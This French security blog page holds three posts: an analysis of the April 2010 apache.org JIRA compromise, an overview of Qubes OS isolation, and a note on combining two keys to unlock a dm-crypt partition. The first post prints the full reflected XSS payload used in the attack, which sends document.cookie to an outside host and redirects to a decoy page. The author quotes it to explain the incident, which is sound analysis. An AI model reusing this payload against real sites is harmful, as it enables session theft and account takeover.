mercredi 14 avril 2010

Compromission d'apache -Bis-

L'an dernier, apache s'était fait attaquer avec succès, via une clé SSH compromise, cf: http://exploitability.blogspot.com/2009/08/compromission-dapacheorg.html. Apache vient de publier un bulletin dans lequel ils expliquent s'être fait attaqués une nouvelle fois.
L'histoire est très bien racontée ici:
https://blogs.apache.org/infra/entry/apache_org_04_09_2010

Je salue la transparence de l'équipe d'Apache qui n'hésite pas à donner des détails sur la manière dont l'attaque a été rendue possible. Ceci donne d'ailleurs matière à bloguer.

Il est indiqué que les attaquants ont utilisé une attaque XSS via un lien tinyurl:
"The attack was crafted to steal the session cookie from the user logged-in to JIRA"
Mais ensuite:
"At the same time as the XSS attack, the attackers started a brute force attack against the JIRA login.jsp"
Et enfin:
"On April 6th, one of these methods was successful." Mais sans préciser laquelle. Dommage.

Une seconde remarque, dont je parlais déjà lors de la première compromission, concerne la manière dont ces admins se sont rendus compte que quelque chose ne tournait pas rond. Il est simplement indiqué:
"About 6 hours after they started resetting passwords, we noticed the attackers and began shutting down services"
Et à cet instant, nous sommes déjà 3 jours après l'attaque initiale... Que se serait il passé si le ou les attaquants étaient restés plus discrets?

A propos de l'attaque a proprement parler.
Il est fait mention:
"ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured] "
Une recherche google permet de retrouver facilement le bon tinyurl, et quelques manipulations plus tard, nous obtenons le XSS:

https://issues.apache.org/jira/secure/popups/colorpicker.jsp?element=name;}catch%28e%29{}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/noscript%3E%3Cscript%3Edocument.write%28%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27%29;window.location=%22http://pastie.org/904699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//

Intéressant. Pour faire bref, on appelle bien une URL http://pastie.org/904699 qui ressemble à une stack trace Java. Mais au milieu, on peut lire
img%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie
Donc lors de l'appel à cette page, une requête img src est faite sur le domaine teap.zzl.or/teap.php avec en argument le document.cookie. Ceci corrobore tout à fait le compte rendu de la fondation apache. Mais je pense, sans avoir testé, que l'admin en cliquant sur le tinyurl tombe sur la page de pastie.org. Ceci n'éveille donc pas de doutes de l'admin: on lui parle d'une erreur java, il lit une stack trace java.
(Le site teap.zzl.org redirige aujourd'hui vers zymic, pour une page 404)

L'hébergeur, Atlassian a communiqué sur ces failles,
http://jira.atlassian.com/browse/JRA-20994 et http://jira.atlassian.com/browse/JRA-20995 mais à l'heure actuelle le site est en arrêt pour maintenance.

jeudi 8 avril 2010

Qubes, enfin un OS sécurisé?

Joanna Rutkowska, chercheuse émérite en sécurité vient de publier une nouvelle manière d'appréhender l'installation et l'utilisation d'un OS. Son domaine de prédilection en sécurité est le poste de travail. En effet, même si certaines personnes disent que "the network is the computer" (letimotiv de la compagnie Sun), elle explique qu'in fine, toutes les données à protéger sont bien sur un ordinateur, de préférence la machine locale devant l'utilisateur. Peu importe la manière dont on a pu sécuriser le réseau, les serveurs, les protocoles, si l'attaquant à la main sur la machine de l'utilisateur final, alors toute cette sécurité devient vaine: http://theinvisiblethings.blogspot.com/2010/01/priorities.html

Elle vient de publier un nouvel OS: Qubes-OS, ainsi que la documentation associée (44 pages).

Le concept clé derrière son idée de la sécurisation du poste de travail est l'isolation. La technologie d'isolation choisie est Xen. KVM a été évalué également, mais Xen semble plus simple à sécuriser et offre plus d'options selon invisible things. Chaque service est compartimenté dans une VM.
Il existe trois classes de VM: les services VM, les apps VM, et la desktop VM.
1/
Desktop VM.
Cette VM est le dom0 en langage Xen, elle ne gère que l'écran le clavier et la souris et le lancement des autres VM. Entre autre, il n'y a pas de réseau configuré dans cette VM. Elle est réduite à son strict minimum.
2/
services VM.
Nous trouvons ici les VM dédiées à une tâche particulière. Par exemple la VM réseau, qui, comme son nom l'indique, ne gère que les cartes réseaux. Les cartes ethernet et wifi sont dédiées à cette VM, et grâce à l'IOMMU des derniers CPU Intel (VT-d) l'isolation est parfaite. De plus, toute la stack IP est éxécutée en userland. Bénéfice? Si un attaquant prend le contrôle de cette machine, il n'a pas plus de droits que s'il avait pénétré le réseau local.
La machine stockage ne gère également que le stockage des disques des VM, sous forme chiffrée.
3/
Apps VM. Il s'agit de VM dont le rôle diffère uniquement selon leurs usages. Invisible Things Labs propose 5 types de VM, classées de standard à haute confidentialité. Un utilisateur pourra donc tester tous les jeux et gadgets à la mode dans une VM, et conserver une VM pour aller faire ses opérations bancaires.

Ceci rappelle furieusement le concept des micro-noyaux, ce dont les auteurs ne se cachent pas..

Tout ceci est en train d'être abondamment twitté, bloggé, journalisé, etc..

La partie intéressante est la partie 8 de son pdf.
"8. Analysis of potential attack vectors". Bien entendu, il est indiqué que le code n'a pas été prouvé comme sûr et qu'il ne le sera sans doute jamais. Le hardware et le software deviennent trop compliqués pour être formellement vérifié. Le but de Qubes est uniquement de réduire la surface d'attaque.
Les attaques potentielles prennent toutes en compte qu'un attaquant a déjà compromis une VM et cherche a compromettre une seconde VM.

jeudi 1 avril 2010

Combiner deux clés de manière sécurisée.

Dans le cadre d'une petite étude sur un PoC, je suis confronté au problème suivant.
Soit deux personnes, Alice et Bob, qui doivent accéder à des données. Alice a une clé, Bob a une clé. Mais Alice ou Bob pris seul ne doit pouvoir accéder aux données.

Dit autrement en des termes plus informatiques, j'ai une partition chiffrée via dm-crypt sous linux, et j'ai besoin de l'ouvrir avec deux clés. Chacune des clés prise séparément ne doit pas permettre l'ouverture de la partition. De plus chacune des clés ne doit pas faciliter l'attaque sur la partition chiffrée.

La première manière, simple, consiste à tout simplement concaténer les clés et les fournir à cryptsetup:
( echo -n $KEY_BOB$KEY_ALICE ) | cryptsetup luksOpen /dev/hda2 secret

Est il possible de faire mieux? Bien sûr. Deux méthodes donnent satisfaction.

1/ Il suffit d'utiliser le fameux chiffrement de Vernam .
Un XOR de la clé de Bob sur la clé d'Alice fournira une troisième clé permettant d'ouvrir la partition cryptsetup. Pour XOR-er facilement deux chaînes de caractères, un petit bout de code en C semble le plus efficace:
int main(int c, char **v) {
char *a, *b;
if (c != 3) return 1;
for(a = v[1], b = v[2]; *a && *b; a++, b++)
putchar(*a ^ *b);
putchar('\n');
return 0;
}

Par construction, ni la clé de Bob ni la clé d'Alice ne fournit la moindre information sur la 3e clé permettant de déchiffrer la partition.

2/ Une autre solution consiste simplement à faire un hash sécurisé des deux clés:
(echo -n $KEY_BOB$KEY_ALICE ) | sha256sum | ...
Il faut faire attention que la sortie de sha256sum est limitée aux caractères [0-9][a-f]; il faut donc la retraiter pour la retransformer en 32 octets avant de la passer à cryptsetup.

Vérifions rapidement ces résultats. 32 octets pour protéger la clé, est-ce suffisant? 32 octets, c'est 2^256 possibilités. En imaginant qu'une machine puisse tester 100000 clés par secondes, il faudra
2^256/(100000x3600x24x365)=3.67x10^64 années pour faire le calcul, ce qui semble acceptable.


Ces solutions passent facilement à l'échelle si l'on souhaite ajouter des clés. Avec deux, trois, quatre ou 'n' clés, cela fonctionne toujours. Toutefois, cela devient un problème lorsque l'ouverture requiert, mettons dix personnes, et que l'une d'elle n'est pas présente. Shamir a inventé un protocole permettant un fonctionnement par seuil, par exemple pouvoir obtenir la clé de déchiffrement lorsque seulement 'x' personnes sont présentes parmi les 'y' à détenir une partie de la clé. Bien que cela dépasse mon propos initial (je n'ai besoin que de deux clés), la solution est très intéressante.

Je remercie les participants du groupe fr.misc.cryptologie pour les bonnes idées.